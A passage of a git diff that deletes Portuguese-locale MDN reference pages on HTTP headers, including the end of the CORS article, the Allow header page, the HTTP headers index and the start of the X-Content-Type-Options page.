-<pre class="brush: none">Access-Control-Expose-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
-</pre>
-
-<p>For example, the following:</p>
-
-<pre class="brush: none">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
-</pre>
-
-<p>…would allow the <code>X-My-Custom-Header</code> and <code>X-Another-Custom-Header</code> headers to be exposed to the browser.</p>
-
-<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3>
-
-<p>The {{HTTPHeader("Access-Control-Max-Age")}} header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.</p>
-
-<pre class="brush: none">Access-Control-Max-Age: &lt;delta-seconds&gt;
-</pre>
-
-<p>The <code>delta-seconds</code> parameter indicates the number of seconds the results can be cached.</p>
-
-<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3>
-
-<p>The {{HTTPHeader("Access-Control-Allow-Credentials")}} header Indicates whether or not the response to the request can be exposed when the <code>credentials</code> flag is true. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple <code>GET</code> requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.</p>
-
-<pre class="brush: none">Access-Control-Allow-Credentials: true
-</pre>
-
-<p><a class="internal" href="#Requests_with_credentials">Credentialed requests</a> are discussed above.</p>
-
-<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3>
-
-<p>The {{HTTPHeader("Access-Control-Allow-Methods")}} header specifies the method or methods allowed when accessing the resource. This is used in response to a preflight request. The conditions under which a request is preflighted are discussed above.</p>
-
-<pre class="brush: none">Access-Control-Allow-Methods: &lt;method&gt;[, &lt;method&gt;]*
-</pre>
-
-<p>An example of a <a class="internal" href="#Preflighted_requests">preflight request is given above</a>, including an example which sends this header to the browser.</p>
-
-<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3>
-
-<p>The {{HTTPHeader("Access-Control-Allow-Headers")}} header is used in response to a <a class="internal" href="#Preflighted_requests">preflight request</a> to indicate which HTTP headers can be used when making the actual request.</p>
-
-<pre class="brush: none">Access-Control-Allow-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
-</pre>
-
-<h2 id="The_HTTP_request_headers">The HTTP request headers</h2>
-
-<p>This section lists headers that clients may use when issuing HTTP requests in order to make use of the cross-origin sharing feature. Note that these headers are set for you when making invocations to servers. Developers using cross-site {{domxref("XMLHttpRequest")}} capability do not have to set any cross-origin sharing request headers programmatically.</p>
-
-<h3 id="Origin">Origin</h3>
-
-<p>The {{HTTPHeader("Origin")}} header indicates the origin of the cross-site access request or preflight request.</p>
-
-<pre class="brush: none">Origin: &lt;origin&gt;
-</pre>
-
-<p>The origin is a URI indicating the server from which the request initiated. It does not include any path information, but only the server name.</p>
-
-<div class="note"><strong>Note:</strong> The <code>origin</code> value can be <code>null</code>, or a URI.</div>
-
-<p>Note that in any access control request, the {{HTTPHeader("Origin")}} header is <strong>always</strong> sent.</p>
-
-<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3>
-
-<p>The {{HTTPHeader("Access-Control-Request-Method")}} is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.</p>
-
-<pre class="brush: none">Access-Control-Request-Method: &lt;method&gt;
-</pre>
-
-<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above.</a></p>
-
-<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3>
-
-<p>The {{HTTPHeader("Access-Control-Request-Headers")}} header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.</p>
-
-<pre class="brush: none">Access-Control-Request-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
-</pre>
-
-<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above</a>.</p>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td>
- <td>{{Spec2('Fetch')}}</td>
- <td>New definition; supplants <a href="https://www.w3.org/TR/cors/">W3C CORS</a> specification.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
-
-<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
-
-<h3 id="Compatibility_notes">Compatibility notes</h3>
-
-<ul>
- <li>Internet Explorer 8 and 9 expose CORS via the <code>XDomainRequest</code> object, but have a full implementation in IE 10.</li>
- <li>While Firefox 3.5 introduced support for cross-site <code>XMLHttpRequests</code> and Web Fonts, certain requests were limited until later versions. Specifically, Firefox 7 introduced the ability for cross-site HTTP requests for WebGL Textures, and Firefox 9 added support for Images drawn on a canvas using <code>drawImage()</code>.</li>
-</ul>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
- <li><a href="https://enable-cors.org/server.html">Enable CORS: I want to add CORS support to my server</a></li>
- <li>{{domxref("XMLHttpRequest")}}</li>
- <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
- <li><a class="external" href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx">Using CORS with All (Modern) Browsers</a></li>
- <li><a href="http://www.html5rocks.com/en/tutorials/cors/">Using CORS - HTML5 Rocks</a>
- <ul>
- </ul>
- </li>
- <li><a class="external" href="https://arunranga.com/examples/access-control/">Code Samples Showing <code>XMLHttpRequest</code> and Cross-Origin Resource Sharing</a></li>
- <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Client-Side &amp; Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)</a></li>
- <li><a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)</a></li>
- <li><a href="https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141">Stack Overflow answer with “how to” info for dealing with common problems</a>:
- <ul>
- <li>How to avoid the CORS preflight</li>
- <li>How to use a CORS proxy to get around <em>“No Access-Control-Allow-Origin header”</em></li>
- <li>How to fix <em>“Access-Control-Allow-Origin header must not be the wildcard”</em></li>
- </ul>
- </li>
-</ul>
diff --git a/files/pt-pt/web/http/headers/allow/index.html b/files/pt-pt/web/http/headers/allow/index.html
deleted file mode 100644
index 8582cb58f4..0000000000
--- a/files/pt-pt/web/http/headers/allow/index.html
+++ /dev/null
@@ -1,67 +0,0 @@
----
-title: Allow
-slug: Web/HTTP/Headers/Allow
-tags:
- - Cabeçalho de Entidade
- - Cabeçalho de HTTP
- - HTTP
- - Referencia
- - cabeçalho
-translation_of: Web/HTTP/Headers/Allow
----
-<div>{{HTTPSidebar}}</div>
-
-<p>O cabeçalho <code><strong>Allow</strong></code> lista os métodos que um recurso suporta.</p>
-
-<p>Este cabeçalho deve ser enviado se o servidor responder com um código de estado {{HTTPStatus("405")}} <code>Method Not Allowed</code> para indicar que métodos de pedido podem ser utilizados. Um cabeçalho <code>Allowed</code> vazio indica que o recurso não permite métodos de pedido, que podem ocorrer temporariamente para um dado recurso, por exemplo.</p>
-
-<table class="properties">
- <tbody>
- <tr>
- <th scope="row">Categoria de cabeçalho</th>
- <td>{{Glossary("Entity header")}}</td>
- </tr>
- <tr>
- <th scope="row">{{Glossary("Forbidden header name")}}</th>
- <td>não</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">Allow: &lt;métodos-de-http&gt;
-</pre>
-
-<h2 id="Diretivos">Diretivos</h2>
-
-<dl>
- <dt>&lt;métodos-de-http&gt;</dt>
- <dd>Uma lista de <a href="/en-US/docs/Web/HTTP/Methods">métodos de pedido HTTP</a> permitidos separados por vírgulas.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="notranslate">Allow: GET, POST, HEAD</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Titulo</th>
- </tr>
- <tr>
- <td>{{RFC("7231", "Allow", "7.4.1")}}</td>
- <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{HTTPStatus("405")}}</li>
- <li>{{HTTPHeader("Server")}}</li>
-</ul>
diff --git a/files/pt-pt/web/http/headers/index.html b/files/pt-pt/web/http/headers/index.html
deleted file mode 100644
index 31ccf98f9f..0000000000
--- a/files/pt-pt/web/http/headers/index.html
+++ /dev/null
@@ -1,360 +0,0 @@
----
-title: HTTP headers
-slug: Web/HTTP/Headers
-tags:
- - HTTP
- - Headers
- - NeedsTranslation
- - Networking
- - Reference
- - TopicStub
-translation_of: Web/HTTP/Headers
----
-<div>{{HTTPSidebar}}</div>
-
-<p>HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon '<code>:</code>', then by its value (without line breaks). Leading white space before the value is ignored.</p>
-
-<p>Custom proprietary headers can be added using the 'X-' prefix, but this convention was deprecated in June 2012, because of the inconveniences it caused when non-standard fields became standard in <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>; others are listed in an <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a>, whose original content was defined in <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA also maintains a <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html">registry of proposed new HTTP message headers</a>.</p>
-
-<p>Headers can be grouped according to their contexts:</p>
-
-<ul>
- <li>{{Glossary("General header")}}: Headers applying to both requests and responses but with no relation to the data eventually transmitted in the body.</li>
- <li>{{Glossary("Request header")}}: Headers containing more information about the resource to be fetched or about the client itself.</li>
- <li>{{Glossary("Response header")}}: Headers with additional information about the response, like its location or about the server itself (name and version etc.).</li>
- <li>{{Glossary("Entity header")}}: Headers containing more information about the body of the entity, like its content length or its MIME-type.</li>
-</ul>
-
-<p>Headers can also be grouped according to how proxies handle them:</p>
-
-<dl>
- <dt><a id="e2e" name="e2e"></a>End-to-end headers</dt>
- <dd>These headers must be transmitted to the final recipient of the message; that is, the server for a request or the client for a response. Intermediate proxies must retransmit end-to-end headers unmodified and caches must store them.</dd>
- <dt><a id="hbh" name="hbh"></a>Hop-by-hop headers</dt>
- <dd>These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.</dd>
-</dl>
-
-<p>The following list summaries HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side.</p>
-
-<h2 id="Authentication">Authentication</h2>
-
-<dl>
- <dt>{{HTTPHeader("WWW-Authenticate")}}</dt>
- <dd>Defines the authentication method that should be used to gain access to a resource.</dd>
- <dt>{{HTTPHeader("Authorization")}}</dt>
- <dd>Contains the credentials to authenticate a user agent with a server.</dd>
- <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt>
- <dd>Defines the authentication method that should be used to gain access to a resource behind a Proxy server.</dd>
- <dt>{{HTTPHeader("Proxy-Authorization")}}</dt>
- <dd>Contains the credentials to authenticate a user agent with a proxy server.</dd>
-</dl>
-
-<h2 id="Caching">Caching</h2>
-
-<dl>
- <dt>{{HTTPHeader("Age")}}</dt>
- <dd>The time in seconds the object has been in a proxy cache.</dd>
- <dt>{{HTTPHeader("Cache-Control")}}</dt>
- <dd>Specifies directives for caching mechanisms in both, requests and responses.</dd>
- <dt>{{HTTPHeader("Expires")}}</dt>
- <dd>The date/time after which the response is considered stale.</dd>
- <dt>{{HTTPHeader("Pragma")}}</dt>
- <dd>Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the <code>Cache-Control</code> header is not yet present.</dd>
- <dt>{{HTTPHeader("Warning")}}</dt>
- <dd>A general warning field containing information about possible problems.</dd>
-</dl>
-
-<h2 id="Client_hints">Client hints</h2>
-
-<dl>
- <dt>{{HTTPHeader("Accept-CH")}}</dt>
- <dd>...</dd>
- <dt>{{HTTPHeader("Content-DPR")}}</dt>
- <dd>...</dd>
- <dt>{{HTTPHeader("DPR")}}</dt>
- <dd>...</dd>
- <dt>{{HTTPHeader("Downlink")}}</dt>
- <dd>...</dd>
- <dt>{{HTTPHeader("Save-Data")}}</dt>
- <dd>...</dd>
- <dt>{{HTTPHeader("Viewport-Width")}}</dt>
- <dd>...</dd>
- <dt>{{HTTPHeader("Width")}}</dt>
- <dd>...</dd>
-</dl>
-
-<dl>
- <dt>
- <h2 id="Conditionals">Conditionals</h2>
- </dt>
- <dt>{{HTTPHeader("Last-Modified")}}</dt>
- <dd>It is a validator, the last modification date of the resource, used to compare several versions of the same resource. It is less accurate than {{HTTPHeader("ETag")}}, but easier to calculate in some environments. Conditional requests using {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Unmodified-Since")}} use this value to change the behavior of the request.</dd>
- <dt>{{HTTPHeader("ETag")}}</dt>
- <dd>It is a validator, a unique string identifying the version of the resource. Conditional requests using {{HTTPHeader("If-Match")}} and {{HTTPHeader("If-None-Match")}} use this value to change the behavior of the request.</dd>
- <dt>{{HTTPHeader("If-Match")}}</dt>
- <dd>Makes the request conditional and applies the method only if the stored resource matches one of the given ETags.</dd>
- <dt>{{HTTPHeader("If-None-Match")}}</dt>
- <dd>Makes the request conditional and applies the method only if the stored resource doesn't match any of the given ETags. This is used to update caches (for safe requests), or to prevent to upload a new resource when one is already existing.</dd>
- <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
- <dd>Makes the request conditional and expects the entity to be transmitted only if it has been modified after the given date. This is used to transmit data only when the cache is out of date.</dd>
- <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
- <dd>Makes the request conditional and expects the entity to be transmitted only if it has not been modified after the given date. This is used to ensure the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.</dd>
-</dl>
-
-<h2 id="Connection_management">Connection management</h2>
-
-<dl>
- <dt>{{HTTPHeader("Connection")}}</dt>
- <dd>Controls whether or not the network connection stays open after the current transaction finishes.</dd>
- <dt>{{HTTPHeader("Keep-Alive")}}</dt>
- <dd>Controls how long a persistent connection should stay open.</dd>
-</dl>
-
-<h2 id="Content_negotiation">Content negotiation</h2>
-
-<dl>
- <dt>{{HTTPHeader("Accept")}}</dt>
- <dd>Informs the server about the types of data that can be sent back. It is MIME-type.</dd>
- <dt>{{HTTPHeader("Accept-Charset")}}</dt>
- <dd>Informs the server about which character set the client is able to understand.</dd>
- <dt>{{HTTPHeader("Accept-Encoding")}}</dt>
- <dd>Informs the server about the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back.</dd>
- <dt>{{HTTPHeader("Accept-Language")}}</dt>
- <dd>Informs the server about the language the server is expected to send back. This is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language in a drop down list).</dd>
-</dl>
-
-<dl>
-</dl>
-
-<h2 id="Controls">Controls</h2>
-
-<dl>
- <dt>{{HTTPHeader("Expect")}}</dt>
- <dd>Indicates expectations that need to be fulfilled by the server in order to properly handle the request.</dd>
- <dt>{{HTTPHeader("Max-Forwards")}}</dt>
- <dd>...</dd>
-</dl>
-
-<h2 id="Cookies">Cookies</h2>
-
-<dl>
- <dt>{{HTTPHeader("Cookie")}}</dt>
- <dd>Contains stored <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> previously sent by the server with the {{HTTPHeader("Set-Cookie")}} header.</dd>
- <dt>{{HTTPHeader("Set-Cookie")}}</dt>
- <dd>Send cookies from the server to the user agent.</dd>
- <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt>
- <dd>Used to contain an HTTP cookie, previously sent by the server with the {{HTTPHeader("Set-Cookie2")}} header, but has been obsoleted by the specification. Use {{HTTPHeader("Cookie")}} instead.</dd>
- <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt>
- <dd>Used to send cookies from the server to the user agent, but has been obsoleted by the specification. Use {{HTTPHeader("Set-Cookie")}} instead.</dd>
- <dt>
- <h2 id="CORS">CORS</h2>
- </dt>
- <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt>
- <dd>Indicates whether the response can be shared.</dd>
- <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt>
- <dd>Indicates whether or not the response to the request can be exposed when the credentials flag is true.</dd>
- <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt>
- <dd>Used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.</dd>
- <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt>
- <dd>Specifies the method or methods allowed when accessing the resource in response to a preflight request.</dd>
- <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt>
- <dd>Indicates which headers can be exposed as part of the response by listing their names.</dd>
- <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt>
- <dd>Indicates how long the results of a preflight request can be cached.</dd>
- <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt>
- <dd>Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made.</dd>
- <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt>
- <dd>Used when issuing a preflight request to let the server know which <a href="/en-US/docs/Web/HTTP/Methods">HTTP method</a> will be used when the actual request is made.</dd>
- <dt>{{HTTPHeader("Origin")}}</dt>
- <dd>Indicates where a fetch originates from.</dd>
-</dl>
-
-<h2 id="Do_Not_Track">Do Not Track</h2>
-
-<dl>
- <dt>{{HTTPHeader("DNT")}}</dt>
- <dd>Used for expressing the user's tracking preference.</dd>
- <dt>{{HTTPHeader("Tk")}}</dt>
- <dd>Indicates the tracking status that applied to the corresponding request.</dd>
-</dl>
-
-<h2 id="Downloads">Downloads</h2>
-
-<dl>
- <dt>{{HTTPHeader("Content-Disposition")}}</dt>
- <dd>Is a response header if the resource transmitted should be displayed inline (default behavior when the header is not present), or it should be handled like a download and the browser should present a 'Save As' window.</dd>
-</dl>
-
-<h2 id="Message_body_information">Message body information</h2>
-
-<dl>
- <dt>{{HTTPHeader("Content-Length")}}</dt>
- <dd>indicates the size of the entity-body, in decimal number of octets, sent to the recipient.</dd>
- <dt>{{HTTPHeader("Content-Type")}}</dt>
- <dd>Indicates the media type of the resource.</dd>
- <dt>{{HTTPHeader("Content-Encoding")}}</dt>
- <dd>Used to specify the compression algorithm.</dd>
- <dt>{{HTTPHeader("Content-Language")}}</dt>
- <dd>Describes the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.</dd>
- <dt>{{HTTPHeader("Content-Location")}}</dt>
- <dd>Indicates an alternate location for the returned data.</dd>
- <dt>
- <h2 id="Proxies">Proxies</h2>
- </dt>
-</dl>
-
-<dl>
- <dt>{{HTTPHeader("Forwarded")}}</dt>
- <dd>Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.</dd>
- <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt>
- <dd>Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer.</dd>
- <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt>
- <dd>Identifies the original host requested that a client used to connect to your proxy or load balancer.</dd>
- <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt>
- <dd>identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer.</dd>
- <dt>{{HTTPHeader("Via")}}</dt>
- <dd>Added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.</dd>
-</dl>
-
-<h2 id="Redirects">Redirects</h2>
-
-<dl>
- <dt>{{HTTPHeader("Location")}}</dt>
- <dd>Indicates the URL to redirect a page to.</dd>
-</dl>
-
-<h2 id="Request_context">Request context</h2>
-
-<dl>
- <dt>{{HTTPHeader("From")}}</dt>
- <dd>Contains an Internet email address for a human user who controls the requesting user agent.</dd>
- <dt>{{HTTPHeader("Host")}}</dt>
- <dd>Specifies the domain name of the server (for virtual hosting), and (optionally) the TCP port number on which the server is listening.</dd>
- <dt>{{HTTPHeader("Referer")}}</dt>
- <dd>The address of the previous web page from which a link to the currently requested page was followed.</dd>
- <dt>{{HTTPHeader("Referrer-Policy")}}</dt>
- <dd>Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made.</dd>
- <dt>{{HTTPHeader("User-Agent")}}</dt>
- <dd>Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>.</dd>
-</dl>
-
-<h2 id="Response_context">Response context</h2>
-
-<dl>
- <dt>{{HTTPHeader("Allow")}}</dt>
- <dd>Lists the set of HTTP request methods support by a resource.</dd>
- <dt>{{HTTPHeader("Server")}}</dt>
- <dd>Contains information about the software used by the origin server to handle the request.</dd>
-</dl>
-
-<h2 id="Range_requests">Range requests</h2>
-
-<dl>
- <dt>{{HTTPHeader("Accept-Ranges")}}</dt>
- <dd>Indicates if the server supports range requests and if so, in which unit the range can be expressed.</dd>
- <dt>{{HTTPHeader("Range")}}</dt>
- <dd>Indicates the part of a document that the server should return.</dd>
- <dt>{{HTTPHeader("If-Range")}}</dt>
- <dd>Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.</dd>
- <dt>{{HTTPHeader("Content-Range")}}</dt>
- <dd>Indicates where in a full body message a partial message belongs.</dd>
-</dl>
-
-<h2 id="Security">Security</h2>
-
-<dl>
- <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt>
- <dd>Controls resources the user agent is allowed to load for a given page.</dd>
- <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt>
- <dd>Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.</dd>
- <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt>
- <dd>Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates.</dd>
- <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt>
- <dd>Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.</dd>
-</dl>
-
-<dl>
- <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt>
- <dd>Force communication using HTTPS instead of HTTP.</dd>
- <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt>
- <dd>Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive.</dd>
-</dl>
-
-<dl>
- <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt>
- <dd>Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}.</dd>
-</dl>
-
-<dl>
- <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt>
- <dd>Indicates whether or not a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}}</dd>
- <dt>{{HTTPHeader("X-XSS-Protection")}}</dt>
- <dd>Enables cross-site scripting filtering.</dd>
-</dl>
-
-<h2 id="Server-sent_events">Server-sent events</h2>
-
-<dl>
- <dt>{{HTTPHeader("Ping-From")}}</dt>
- <dd>...</dd>
- <dt>{{HTTPHeader("Ping-To")}}</dt>
- <dd>...</dd>
- <dt>{{HTTPHeader("Last-Event-ID")}}</dt>
- <dd>...</dd>
-</dl>
-
-<h2 id="Transfer_coding">Transfer coding</h2>
-
-<dl>
- <dt>{{HTTPHeader("Transfer-Encoding")}}</dt>
- <dd>Specifies the the form of encoding used to safely transfer the entity to the user.</dd>
- <dt>{{HTTPHeader("TE")}}</dt>
- <dd>Specifies the transfer encodings the user agent is willing to accept.</dd>
- <dt>{{HTTPHeader("Trailer")}}</dt>
- <dd>Allows the sender to include additional fields at the end of chunked message.</dd>
-</dl>
-
-<h2 id="WebSockets">WebSockets</h2>
-
-<dl>
- <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt>
- <dd>...</dd>
- <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt>
- <dd>...</dd>
- <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt>
- <dd>...</dd>
- <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt>
- <dd>...</dd>
- <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt>
- <dd>...</dd>
-</dl>
-
-<h2 id="Other">Other</h2>
-
-<dl>
- <dt>{{HTTPHeader("Date")}}</dt>
- <dd>Contains the date and time at which the message was originated.</dd>
- <dt>{{HTTPHeader("Large-Allocation")}}</dt>
- <dd>Tells the browser that the page being loaded is going to want to perform a large allocation.</dd>
- <dt>{{HTTPHeader("Link")}}</dt>
- <dd>...</dd>
- <dt>{{HTTPHeader("Retry-After")}}</dt>
- <dd>Indicates how long the user agent should wait before making a follow-up request.</dd>
- <dt>{{HTTPHeader("Upgrade")}}</dt>
- <dd>This is a Proposed Internet Standard. To view a comprehensive list of all Official and Proposed Internet Standards with detailed information about each, <a href="https://www.rfc-editor.org/standards">visit this Internet Standards reference</a>, which is updated daily.  The relevant RFC document for the <a href="https://tools.ietf.org/html/rfc7230#section-6.7">Upgrade header field standard is RFC 7230, section 6.7</a>.  The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection.  For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field.  Niether party is required to accept the terms specified in the Upgrade header field.  It can be used in both client and server headers.  If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified.  For details on the Connection header field <a href="https://tools.ietf.org/html/rfc7230#section-6.1">please see section 6.1 of the aforementioned RFC</a>.</dd>
- <dt>{{HTTPHeader("Vary")}}</dt>
- <dd>Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.</dd>
- <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt>
- <dd>Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.</dd>
- <dt>{{HTTPHeader("X-Requested-With")}}</dt>
- <dd>...</dd>
- <dt>{{HTTPHeader("X-UA-Compatible")}}</dt>
- <dd>...</dd>
-</dl>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></li>
- <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a></li>
-</ul>
diff --git a/files/pt-pt/web/http/headers/x-content-type-options/index.html b/files/pt-pt/web/http/headers/x-content-type-options/index.html
deleted file mode 100644
index c237f7b7cf..0000000000
--- a/files/pt-pt/web/http/headers/x-content-type-options/index.html
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: X-Content-Type-Options
-slug: Web/HTTP/Headers/X-Content-Type-Options
-tags:
- - Cabeçalho de Resposta
- - Cabeçalhos HTTP
- - HTTP
- - Referencia
-translation_of: Web/HTTP/Headers/X-Content-Type-Options
----
-<div>{{HTTPSidebar}}</div>
-
-<p>Na resposta HTTP o cabeçalho <code><strong>X-Content-Type-Options</strong></code> é um marcador utilizado pelo servidor para indicar the os <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">tipos de MIME</a> anunciados nos cabeçalhos {{HTTPHeader("Content-Type")}} não devem ser alterados e seguidos. Isto permite evitar <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">inspecção do tipo de MIME</a>, ou, noutras palavras, é uma de dizer que os webmasters sabem o que estão a fazer.</p>
-
-<p>Este cabeçalho foi introduzido pela Microsoft no IE 8 como uma maneira de os webmasters bloquearem a inspecção de conteúdo que acontecia e podia transformar tipos MIME não executáveis em tipos de MIME executáveis. Desde então, outros browsers também o introduziram, mesmo que os seus algoritmos de inspecção MIME fossem menos agressivos.</p>
-
-<p>Testadores de segurança esperam que este cabeçalho esteja definido.</p>
-
-<p class="note">Nota: <code>nosniff</code> apenas se aplica a "<code>script</code>" e tipos de "<code>style</code>". Aplicando também <code>nosniff</code> a imagens acabou por se tornar <a href="https://github.com/whatwg/fetch/issues/395">incompatível com sites web existentes</a>.</p>
-
-<table class="properties">
- <tbody>
- <tr>
- <th scope="row">Tipo de Cabeçalho</th>
- <td>{{Glossary("Response header")}}</td>
- </tr>
- <tr>
- <th scope="row">{{Glossary("Forbidden header name")}}</th>
- <td>no</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox">X-Content-Type-Options: nosniff
-</pre>
-
-<h2 id="Directivas">Directivas</h2>
-
-<dl>
